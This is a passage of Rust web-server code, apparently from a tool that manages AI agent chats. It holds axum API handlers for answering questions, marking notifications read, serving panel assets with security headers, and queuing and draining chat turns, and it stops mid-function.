5817
5818fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5820 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5821}
5822
5823fn question_views(
5826 qs: Vec<Question>,
5827 store: &ask::Questions,
5828 load: impl FnOnce() -> Option<Config>,
5829) -> Vec<QuestionView> {
5830 if qs.is_empty() {
5831 return Vec::new();
5832 }
5833 let cfg = load();
5834 qs.into_iter()
5835 .map(|q| {
5836 let on = deputies_enabled(cfg.as_ref(), &q);
5837 QuestionView::of(q, store, on)
5838 })
5839 .collect()
5840}
5841
5842fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5852 if !q.status.open() {
5853 return None;
5854 }
5855 if q.cwd.is_none() && q.deputy.is_none() {
5856 return crate::deputy::kind_of(q).map(|_| "nobody");
5857 }
5858 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5859 Some(_) if q.deputy.is_some() => "deputy",
5860 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5861 Some(_) => "asker",
5862 None => "nobody",
5863 })
5864}
5865
5866async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5872 blocking(move || {
5873 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5874 Ok(Json(
5875 question_views(ui.questions.list(), &ui.questions, || {
5876 deputy_config(&ui.repo)
5877 })
5878 .into_iter()
5879 .map(|v| v.with_origin(&tasks, &talks))
5880 .collect(),
5881 ))
5882 })
5883 .await
5884}
5885
5886async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5889 blocking(move || {
5890 let items = ui.notices.list();
5891 let unread = items.iter().filter(|n| n.unread()).count();
5892 Ok(Json(
5893 serde_json::json!({ "unread": unread, "items": items }),
5894 ))
5895 })
5896 .await
5897}
5898
5899fn notice_error(e: anyhow::Error) -> ApiError {
5900 ApiError::not_found(format!("{e:#}"))
5903}
5904
5905async fn notification_read(
5907 State(ui): State<Arc<Ui>>,
5908 Path(id): Path<String>,
5909) -> ApiResult<Json<Notice>> {
5910 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5911}
5912
5913async fn notification_dismiss(
5915 State(ui): State<Arc<Ui>>,
5916 Path(id): Path<String>,
5917) -> ApiResult<Json<Notice>> {
5918 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5919}
5920
5921async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5923 blocking(move || {
5924 let changed = ui.notices.mark_all_read()?;
5925 Ok(Json(serde_json::json!({ "marked": changed })))
5926 })
5927 .await
5928}
5929
5930#[derive(Debug, Default, Deserialize)]
5936#[serde(default, deny_unknown_fields)]
5937struct NewAnswer {
5938 choice: Option<String>,
5939 text: Option<String>,
5940}
5941
5942async fn question_answer(
5943 State(ui): State<Arc<Ui>>,
5944 Path(id): Path<String>,
5945 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5946) -> ApiResult<Json<QuestionView>> {
5947 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5948 let answer = match (body.choice, body.text) {
5949 (Some(c), None) => Answer::Choice(c),
5950 (None, Some(t)) => Answer::Text(t),
5951 (Some(_), Some(_)) => {
5952 return Err(ApiError::bad_request(
5953 "send either `choice` or `text`, not both",
5954 ));
5955 }
5956 (None, None) => {
5957 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5958 }
5959 };
5960
5961 blocking(move || {
5962 let id = resolve_question(&ui.questions, &id)?;
5963 let q = ui
5964 .questions
5965 .get(&id)
5966 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5967 if !q.status.open() {
5968 return Err(ApiError::conflict(format!(
5972 "question {} is already {}",
5973 q.short(),
5974 q.status.as_str()
5975 )));
5976 }
5977 let (q, ()) = ui
5981 .questions
5982 .update(&q.id, |r| r.answer(answer))
5983 .map_err(ApiError::bad_request_from)?;
5984 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5985 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5986 Ok(Json(
5987 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5988 ))
5989 })
5990 .await
5991}
5992
5993#[derive(Debug, Deserialize)]
5995#[serde(deny_unknown_fields)]
5996struct NewSay {
5997 body: String,
5998}
5999
6000async fn question_say(
6010 State(ui): State<Arc<Ui>>,
6011 Path(id): Path<String>,
6012 body: std::result::Result<Json<NewSay>, JsonRejection>,
6013) -> ApiResult<Json<QuestionView>> {
6014 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6015 blocking(move || {
6016 let id = resolve_question(&ui.questions, &id)?;
6017 let q = ui
6018 .questions
6019 .get(&id)
6020 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6021 if !q.status.open() {
6022 return Err(ApiError::conflict(format!(
6026 "question {} is already {}",
6027 q.short(),
6028 q.status.as_str()
6029 )));
6030 }
6031 let (q, ()) = ui
6034 .questions
6035 .update(&q.id, |r| r.say(body.body))
6036 .map_err(ApiError::bad_request_from)?;
6037 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6038 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6039 Ok(Json(
6040 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6041 ))
6042 })
6043 .await
6044}
6045
6046async fn question_consult(
6055 State(ui): State<Arc<Ui>>,
6056 Path(id): Path<String>,
6057) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6058 let (view, reclaimed) = blocking({
6059 let ui = Arc::clone(&ui);
6060 move || {
6061 let id = resolve_question(&ui.questions, &id)?;
6062 let q = ui
6063 .questions
6064 .get(&id)
6065 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6066 if !q.status.open() {
6067 return Err(ApiError::conflict(format!(
6068 "question {} is already {}",
6069 q.short(),
6070 q.status.as_str()
6071 )));
6072 }
6073 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6074 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6075 return Err(ApiError::conflict(format!(
6076 "question {} has no chat to ask",
6077 q.short()
6078 )));
6079 };
6080 let cfg = if q.consult.is_none() {
6084 Some(Config::discover(&talk.repo, None)?.0)
6085 } else {
6086 None
6087 };
6088 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6089 let claim = if fresh {
6090 match ui.begin_queued_talk_turn(&talk.id)? {
6091 Some(turn_guard) => {
6092 let talk = ui.talks.get(&talk.id)?;
6093 let cfg = match cfg {
6094 Some(cfg) => cfg,
6095 None => Config::discover(&talk.repo, None)?.0,
6096 };
6097 Some((talk, cfg, turn_guard))
6098 }
6099 None => None,
6100 }
6101 } else {
6102 None
6103 };
6104 let q = ui.questions.get(&q.id)?;
6105 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6106 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6107 Ok((view, claim))
6108 }
6109 })
6110 .await?;
6111 if let Some((talk, cfg, turn_guard)) = reclaimed {
6112 let talks = ui.talks.clone();
6113 let id = talk.id.clone();
6114 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6115 }
6116 Ok((StatusCode::ACCEPTED, Json(view)))
6117}
6118
6119fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6121 if store.path_of(id).is_file() {
6122 return Ok(id.to_owned());
6123 }
6124 pick(
6125 store.list().into_iter().map(|q| q.id).collect(),
6126 id,
6127 "question",
6128 )
6129}
6130
6131async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6146 blocking(move || {
6147 let id = resolve_question(&ui.questions, &id)?;
6148 let Some(html) = ui.questions.panel_html(&id) else {
6149 return Err(ApiError::not_found(format!("question {id} has no panel")));
6150 };
6151 Ok(panel_response(
6152 "text/html; charset=utf-8",
6153 false,
6154 html.into_bytes(),
6155 ))
6156 })
6157 .await
6158}
6159
6160async fn question_asset(
6188 State(ui): State<Arc<Ui>>,
6189 Path((id, name)): Path<(String, String)>,
6190) -> ApiResult<Response> {
6191 if !crate::ask::valid_asset_name(&name) {
6194 return Err(ApiError::bad_request(format!(
6195 "`{name}` is not a usable asset name"
6196 )));
6197 }
6198 blocking(move || {
6199 let id = resolve_question(&ui.questions, &id)?;
6200 let asset = ui
6201 .questions
6202 .panel_asset(&id, &name)
6203 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6204 let Some(bytes) = asset else {
6205 return Err(ApiError::not_found(format!(
6206 "question {id} has no asset `{name}`"
6207 )));
6208 };
6209 Ok(panel_response(
6210 asset_content_type(&name),
6211 is_svg(&name),
6212 bytes,
6213 ))
6214 })
6215 .await
6216}
6217
6218fn asset_content_type(name: &str) -> &'static str {
6231 match extension(name).as_deref() {
6232 Some("png") => "image/png",
6233 Some("jpg" | "jpeg") => "image/jpeg",
6234 Some("gif") => "image/gif",
6235 Some("webp") => "image/webp",
6236 Some("svg") => "image/svg+xml",
6237 Some("css") => "text/css; charset=utf-8",
6238 Some("txt") => "text/plain; charset=utf-8",
6239 _ => "application/octet-stream",
6240 }
6241}
6242
6243fn is_svg(name: &str) -> bool {
6246 extension(name).as_deref() == Some("svg")
6247}
6248
6249fn extension(name: &str) -> Option<String> {
6251 name.rsplit_once('.')
6252 .map(|(_, ext)| ext.to_ascii_lowercase())
6253}
6254
6255fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6272 let mut res = (
6273 [
6274 (header::CONTENT_TYPE, content_type),
6275 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6276 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6277 (header::REFERRER_POLICY, "no-referrer"),
6278 ],
6279 body,
6280 )
6281 .into_response();
6282 if download {
6283 res.headers_mut().insert(
6284 header::CONTENT_DISPOSITION,
6285 HeaderValue::from_static("attachment"),
6286 );
6287 }
6288 res
6289}
6290
6291#[derive(Debug, Serialize)]
6297struct TalkView {
6298 #[serde(flatten)]
6299 talk: Talk,
6300 turn_bodies_md: Vec<Vec<md::Node>>,
6301 thinking: bool,
6309 context: talk::ContextUsage,
6313 operator_name: Option<String>,
6316 persona_name: Option<String>,
6318}
6319
6320impl TalkView {
6321 fn new(talk: Talk, thinking: bool) -> Self {
6324 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6325 Self::with_config(talk, thinking, cfg.as_ref())
6326 }
6327
6328 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6331 let context = talk::context_usage(&talk, cfg);
6332 let turn_bodies_md = talk
6333 .turns
6334 .iter()
6335 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6336 .collect();
6337 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6338 let persona_name = persona::find(specs, &talk.persona)
6339 .filter(|p| !p.is_default())
6340 .map(|p| p.name);
6341 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6342 Self {
6343 turn_bodies_md,
6344 thinking,
6345 context,
6346 operator_name,
6347 persona_name,
6348 talk,
6349 }
6350 }
6351}
6352
6353#[derive(Debug, Serialize)]
6358struct TalkDetailView {
6359 #[serde(flatten)]
6360 view: TalkView,
6361 tasks: Vec<TaskView>,
6362 roster: Vec<RosterEntry>,
6365 personas: Vec<PersonaEntry>,
6368}
6369
6370#[derive(Debug, Serialize)]
6372struct PersonaEntry {
6373 id: String,
6374 name: String,
6375}
6376
6377#[derive(Debug, Serialize)]
6379struct RosterEntry {
6380 id: String,
6381 kind: AgentKind,
6382 runnable: bool,
6384}
6385
6386async fn talks_list(
6391 State(ui): State<Arc<Ui>>,
6392 Query(q): Query<ListQuery>,
6393) -> ApiResult<Json<Vec<TalkView>>> {
6394 blocking(move || {
6395 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6396 Ok(Json(
6397 ui.talks
6398 .list()
6399 .into_iter()
6400 .filter(|talk| q.contains(&talk.id))
6401 .map(|talk| {
6402 let thinking = ui.is_thinking(&talk.id);
6403 let cfg = configs
6404 .entry(talk.repo.clone())
6405 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6406 TalkView::with_config(talk, thinking, cfg.as_ref())
6407 })
6408 .collect(),
6409 ))
6410 })
6411 .await
6412}
6413
6414#[derive(Debug, Default, Deserialize)]
6419#[serde(default)]
6420struct NewTalk {
6421 agent: Option<String>,
6422 repo: Option<PathBuf>,
6423}
6424
6425async fn talk_post(
6428 State(ui): State<Arc<Ui>>,
6429 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6430) -> ApiResult<impl IntoResponse> {
6431 let body = match body {
6435 Ok(Json(body)) => body,
6436 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6437 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6438 };
6439 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6440 let cfg = config_for(&repo).await?;
6441 let view = blocking(move || {
6442 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6443 let thinking = ui.is_thinking(&talk.id);
6444 Ok(TalkView::new(talk, thinking))
6445 })
6446 .await?;
6447 Ok((StatusCode::CREATED, Json(view)))
6448}
6449
6450async fn talk_detail(
6452 State(ui): State<Arc<Ui>>,
6453 Path(id): Path<String>,
6454) -> ApiResult<Json<TalkDetailView>> {
6455 blocking(move || {
6456 let id = resolve_talk(&ui.talks, &id)?;
6457 let talk = ui.talks.get(&id)?;
6458 let thinking = ui.is_thinking(&talk.id);
6459 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6460 .into_iter()
6461 .map(TaskView::from)
6462 .collect();
6463 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6464 let roster = cfg
6465 .as_ref()
6466 .map(|cfg| {
6467 cfg.agents
6468 .iter()
6469 .map(|a| RosterEntry {
6470 id: a.id.clone(),
6471 kind: a.kind,
6472 runnable: agent::installed(a),
6473 })
6474 .collect()
6475 })
6476 .unwrap_or_default();
6477 let specs = cfg
6478 .as_ref()
6479 .map(|cfg| cfg.talk.personas.clone())
6480 .unwrap_or_default();
6481 let personas = persona::catalog(&specs)
6482 .into_iter()
6483 .map(|p| PersonaEntry {
6484 id: p.id,
6485 name: p.name,
6486 })
6487 .collect();
6488 Ok(Json(TalkDetailView {
6489 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6490 tasks,
6491 roster,
6492 personas,
6493 }))
6494 })
6495 .await
6496}
6497
6498#[derive(Debug, Default, Deserialize)]
6504#[serde(default, deny_unknown_fields)]
6505struct NewTalkTurn {
6506 text: String,
6507 attachments: Vec<String>,
6508}
6509
6510#[derive(Debug, Deserialize)]
6511#[serde(deny_unknown_fields)]
6512struct EditTalkPending {
6513 text: String,
6514 expected_text: String,
6515 expected_attachments: Vec<String>,
6516}
6517
6518#[derive(Debug, Deserialize)]
6519#[serde(deny_unknown_fields)]
6520struct ClearTalkPending {
6521 expected_text: String,
6522 expected_attachments: Vec<String>,
6523}
6524
6525async fn talk_say(
6537 State(ui): State<Arc<Ui>>,
6538 Path(id): Path<String>,
6539 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6540) -> ApiResult<(StatusCode, Json<TalkView>)> {
6541 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6542 if body.text.trim().is_empty() && body.attachments.is_empty() {
6543 return Err(ApiError::bad_request("say something"));
6544 }
6545
6546 let id = {
6547 let ui = Arc::clone(&ui);
6548 let asked = id.clone();
6549 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6550 };
6551 {
6555 let ui = Arc::clone(&ui);
6556 let id = id.clone();
6557 blocking(move || {
6558 let talk = ui.talks.get(&id)?;
6559 if !talk.status.open() {
6560 return Err(ApiError::conflict(format!(
6561 "talk {} is {} and takes no more turns",
6562 talk.short(),
6563 talk.status.as_str()
6564 )));
6565 }
6566 Ok(())
6567 })
6568 .await?;
6569 }
6570
6571 let attachments = {
6576 let ui = Arc::clone(&ui);
6577 let id = id.clone();
6578 let ids = body.attachments.clone();
6579 blocking(move || {
6580 ids.into_iter()
6581 .map(|att_id| {
6582 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6583 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6584 })
6585 })
6586 .collect::<ApiResult<Vec<talk::Attachment>>>()
6587 })
6588 .await?
6589 };
6590
6591 let start = {
6596 let ui = Arc::clone(&ui);
6597 let id = id.clone();
6598 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6599 };
6600 let turn_guard = match start {
6601 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6602 TalkTurnStart::Pending => {
6603 return Err(ApiError::conflict(
6604 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6605 ));
6606 }
6607 TalkTurnStart::Foreign => {
6608 return Err(ApiError::conflict(
6609 "a turn is already running in another process; try again when it has finished",
6610 ));
6611 }
6612 TalkTurnStart::Busy => {
6613 let (tx, rx) = tokio::sync::oneshot::channel();
6629 tokio::spawn({
6630 let ui = Arc::clone(&ui);
6631 let id = id.clone();
6632 let said = body.text.clone();
6633 async move {
6634 let written = blocking({
6635 let ui = Arc::clone(&ui);
6636 let id = id.clone();
6637 move || {
6638 let mut talk = ui.talks.get(&id)?;
6639 #[cfg(test)]
6644 if let Some(gate) = ui
6645 .busy_queue_gate
6646 .lock()
6647 .unwrap_or_else(PoisonError::into_inner)
6648 .take()
6649 {
6650 let _ = gate.reached.send(());
6651 let _ = gate.release.recv();
6652 }
6653 if let Err(error) =
6654 talk::queue(&mut talk, &ui.talks, &said, attachments)
6655 {
6656 if let Ok(fresh) = ui.talks.get(&id) {
6657 if !fresh.status.open() {
6658 return Err(ApiError::conflict(format!(
6659 "talk {} is {} and takes no more turns",
6660 fresh.short(),
6661 fresh.status.as_str()
6662 )));
6663 }
6664 }
6665 return Err(ApiError::from(error));
6666 }
6667 let claim = match ui.begin_queued_talk_turn(&id)? {
6678 Some(turn_guard) => {
6679 let (cfg, _) = Config::discover(&talk.repo, None)?;
6680 Some((talk.clone(), cfg, turn_guard))
6681 }
6682 None => None,
6683 };
6684 let thinking = ui.is_thinking(&id);
6685 Ok((TalkView::new(talk, thinking), claim))
6686 }
6687 })
6688 .await;
6689 let (view, reclaimed) = match written {
6690 Ok(pair) => pair,
6691 Err(e) => {
6692 let _ = tx.send(Err(e));
6697 return;
6698 }
6699 };
6700 let _ = tx.send(Ok(view));
6703 if let Some((talk, cfg, turn_guard)) = reclaimed {
6704 let talks = ui.talks.clone();
6705 drain_loop(talk, talks, cfg, id, turn_guard).await;
6706 }
6707 }
6708 });
6709 let view = rx
6710 .await
6711 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6712 return Ok((StatusCode::ACCEPTED, Json(view)));
6713 }
6714 };
6715
6716 let (talk, cfg) = {
6717 let ui = Arc::clone(&ui);
6718 let id = id.clone();
6719 blocking(move || {
6720 let talk = ui.talks.get(&id)?;
6721 let (cfg, _) = Config::discover(&talk.repo, None)?;
6722 Ok((talk, cfg))
6723 })
6724 .await?
6725 };
6726
6727 let talks = ui.talks.clone();
6728 let (tx, rx) = tokio::sync::oneshot::channel();
6743 tokio::spawn({
6744 let ui = Arc::clone(&ui);
6745 let talks = talks.clone();
6746 let id = id.clone();
6747 let said = body.text.clone();
6748 let mut talk = talk.clone();
6749 async move {
6750 let recorded = blocking({
6751 let talks = talks.clone();
6752 move || {
6753 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6754 if let Ok(fresh) = talks.get(&talk.id) {
6755 if !fresh.status.open() {
6756 return Err(ApiError::conflict(format!(
6757 "talk {} is {} and takes no more turns",
6758 fresh.short(),
6759 fresh.status.as_str()
6760 )));
6761 }
6762 }
6763 return Err(ApiError::from(error));
6764 }
6765 Ok((said.trim().to_owned(), talk))
6771 }
6772 })
6773 .await;
6774 let (text, mut talk) = match recorded {
6775 Ok(pair) => pair,
6776 Err(e) => {
6777 let _ = tx.send(Err(e));
6781 return;
6782 }
6783 };
6784 let queued = talk.clone();
6785 let thinking = ui.is_thinking(&id);
6786 let _ = tx.send(Ok((queued, thinking)));
6789
6790 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6791 tracing::warn!("talk {id} turn failed: {e:#}");
6795 }
6796 drain_loop(talk, talks, cfg, id, turn_guard).await;
6799 }
6800 });
6801
6802 let (queued, thinking) = rx
6803 .await
6804 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6805
6806 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6808}
6809
6810async fn talk_pending_resume(
6814 State(ui): State<Arc<Ui>>,
6815 Path(id): Path<String>,
6816) -> ApiResult<(StatusCode, Json<TalkView>)> {
6817 let id = {
6818 let ui = Arc::clone(&ui);
6819 let asked = id.clone();
6820 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6821 };
6822 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6823 return Err(ApiError::conflict(
6824 "a talk turn is already running; the queued draft will be handled by it",
6825 ));
6826 };
6827 let (talk, cfg) = {
6828 let ui = Arc::clone(&ui);
6829 let id = id.clone();
6830 blocking(move || {
6831 let talk = ui.talks.get(&id)?;
6832 if !talk.status.open() {
6833 return Err(ApiError::conflict(format!(
6834 "talk {} is {} and takes no more turns",
6835 talk.short(),
6836 talk.status.as_str()
6837 )));
6838 }
6839 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6840 return Err(ApiError::conflict("there is no queued draft to resume"));
6841 }
6842 let (cfg, _) = Config::discover(&talk.repo, None)?;
6843 Ok((talk, cfg))
6844 })
6845 .await?
6846 };
6847 let view = TalkView::new(talk.clone(), true);
6848 let talks = ui.talks.clone();
6849 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6850 Ok((StatusCode::ACCEPTED, Json(view)))
6851}
6852
6853async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6869 let live_set = Arc::clone(&turn.turns);
6870 let mut turn = Some(turn);
6878 loop {
6879 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6880 tracing::warn!("talk {id} lost its turn lease; not draining further");
6883 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6884 if let Some(turn) = turn.take() {
6885 turn.release(&mut live);
6886 }
6887 break;
6888 }
6889 {
6890 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6893 if live.parking {
6894 if let Some(turn) = turn.take() {
6895 turn.release(&mut live);
6896 }
6897 break;
6898 }
6899 }
6900 let observed = live_set
6904 .lock()
6905 .unwrap_or_else(PoisonError::into_inner)
6906 .queued
6907 .get(&id)
6908 .copied()
6909 .unwrap_or(0);
6910 let drained = blocking({
6911 let talks = talks.clone();
6912 let live_set = Arc::clone(&live_set);
6913 move || {
6914 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6919 let result = if live.parking {
6920 Ok(None)
6921 } else {
6922 talk::drain(&mut talk, &talks)
6923 };
6924 drop(live);
6925 Ok((talk, result))
6926 }
6927 })
6928 .await;
6929 let (next_talk, result) = match drained {
6930 Ok(drained) => drained,
6931 Err(e) => {
6932 tracing::warn!(
6933 status = %e.status,
6934 message = %e.message,
6935 "talk {id} could not start queued-text drain"
6936 );
6937 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6938 turn.take()
6939 .expect("held for the whole loop until released here")
6940 .release(&mut live);
6941 break;
6942 }
6943 };
6944 talk = next_talk;
6945 let drained = match result {
6946 Ok(Some(drained)) => drained,
6947 Ok(None) => {
6948 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6949 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6950 continue;
6951 }
6952 turn.take()
6953 .expect("held for the whole loop until released here")
6954 .release(&mut live);
6955 break;
6956 }
6957 Err(e) => {
6958 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6959 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6960 turn.take()
6961 .expect("held for the whole loop until released here")
6962 .release(&mut live);
6963 break;
6964 }
6965 };
6966 let responded = match turn.as_ref() {
6967 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6968 None => Err(anyhow::anyhow!("the turn guard was released")),
6969 };
6970 if let Err(e) = responded {
6971 tracing::warn!("talk {id} turn failed: {e:#}");
6972 }
6973 }
6974}
6975
6976async fn talk_pending_clear(
6978 State(ui): State<Arc<Ui>>,
6979 Path(id): Path<String>,
6980 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6981) -> ApiResult<Json<TalkView>> {
6982 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6983 blocking(move || {
6984 let id = resolve_talk(&ui.talks, &id)?;
6985 let mut talk = ui.talks.get(&id)?;
6986 if !talk.status.open() {
6987 return Err(ApiError::conflict(format!(
6988 "talk {} is {} and takes no more turns",
6989 talk.short(),
6990 talk.status.as_str()
6991 )));
6992 }
6993 if !talk::clear_pending_if_matches(
6994 &mut talk,
6995 &ui.talks,
6996 &body.expected_text,
6997 &body.expected_attachments,
6998 )? {
6999 return Err(ApiError::conflict(
7000 "queued message changed; reload it before clearing",
7001 ));
7002 }
7003 let thinking = ui.is_thinking(&talk.id);
7004 Ok(Json(TalkView::new(talk, thinking)))
7005 })
7006 .await
7007}
7008
7009async fn talk_pending_edit(
7013 State(ui): State<Arc<Ui>>,
7014 Path(id): Path<String>,
7015 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7016) -> ApiResult<Json<TalkView>> {
7017 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7018 let (view, reclaimed) = blocking({
7019 let ui = Arc::clone(&ui);
7020 move || {
7021 let id = resolve_talk(&ui.talks, &id)?;
7022 let mut talk = ui.talks.get(&id)?;
7023 if !talk.status.open() {
7024 return Err(ApiError::conflict(format!(
7025 "talk {} is {} and takes no more turns",
7026 talk.short(),
7027 talk.status.as_str()
7028 )));
7029 }
7030 if !talk::edit_pending_text(
7031 &mut talk,
7032 &ui.talks,
7033 &body.text,
7034 &body.expected_text,
7035 &body.expected_attachments,
7036 )? {
7037 return Err(ApiError::conflict(
7038 "queued message changed; reload it before editing",
7039 ));
7040 }
7041 let claim = match ui.begin_queued_talk_turn(&id)? {
7042 Some(turn_guard) => {
7043 let (cfg, _) = Config::discover(&talk.repo, None)?;
7044 Some((talk.clone(), cfg, id.clone(), turn_guard))
7045 }
7046 None => None,
7047 };
7048 let thinking = ui.is_thinking(&id);
7049 Ok((TalkView::new(talk, thinking), claim))
7050 }
7051 })
7052 .await?;
7053 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7054 let talks = ui.talks.clone();
7055 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7056 }
7057 Ok(Json(view))
7058}
7059
7060#[derive(Debug, Deserialize)]
7062struct TalkAgent {
7063 agent: String,
7064}
7065
7066async fn talk_agent(
7071 State(ui): State<Arc<Ui>>,
7072 Path(id): Path<String>,
7073 Json(body): Json<TalkAgent>,
7074) -> ApiResult<Json<TalkView>> {
7075 let id = {
7076 let ui = Arc::clone(&ui);
7077 blocking(move || resolve_talk(&ui.talks, &id)).await?
7078 };
7079 let repo = {
7080 let ui = Arc::clone(&ui);
7081 let id = id.clone();
7082 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7083 };
7084 let cfg = config_for(&repo).await?;
7085 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7086 return Err(ApiError::conflict(
7087 "a talk turn is running; change the agent once it has answered",
7088 ));
7089 };
7090 let switched = {
7091 let ui = Arc::clone(&ui);
7092 let id = id.clone();
7093 let cfg = cfg.clone();
7094 blocking(move || {
7095 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7096 .map_err(ApiError::bad_request_from)?;
7097 let mut talk = ui.talks.get(&id)?;
7098 if !talk.status.open() {
7099 return Err(ApiError::conflict(format!(
7100 "talk {} is {} and takes no more turns",
7101 talk.short(),
7102 talk.status.as_str()
7103 )));
7104 }
7105 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7106 Ok(talk)
7107 })
7108 .await
7109 };
7110 let fresh = {
7115 let ui = Arc::clone(&ui);
7116 let id = id.clone();
7117 blocking(move || Ok(ui.talks.get(&id)?)).await
7118 };
7119 let draining = match fresh {
7120 Ok(talk) => {
7121 let draining = talk.status.open()
7122 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7123 let talks = ui.talks.clone();
7124 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7125 draining
7126 }
7127 Err(_) => false,
7128 };
7129 let talk = switched?;
7130 Ok(Json(TalkView::new(talk, draining)))
7131}
7132
7133#[derive(Debug, Deserialize)]
7135struct TalkPersona {
7136 persona: String,
7137}
7138
7139async fn talk_persona(
7143 State(ui): State<Arc<Ui>>,
7144 Path(id): Path<String>,
7145 Json(body): Json<TalkPersona>,
7146) -> ApiResult<Json<TalkView>> {
7147 let id = {
7148 let ui = Arc::clone(&ui);
7149 blocking(move || resolve_talk(&ui.talks, &id)).await?
7150 };
7151 let repo = {
7152 let ui = Arc::clone(&ui);
7153 let id = id.clone();
7154 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7155 };
7156 let cfg = config_for(&repo).await?;
7157 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
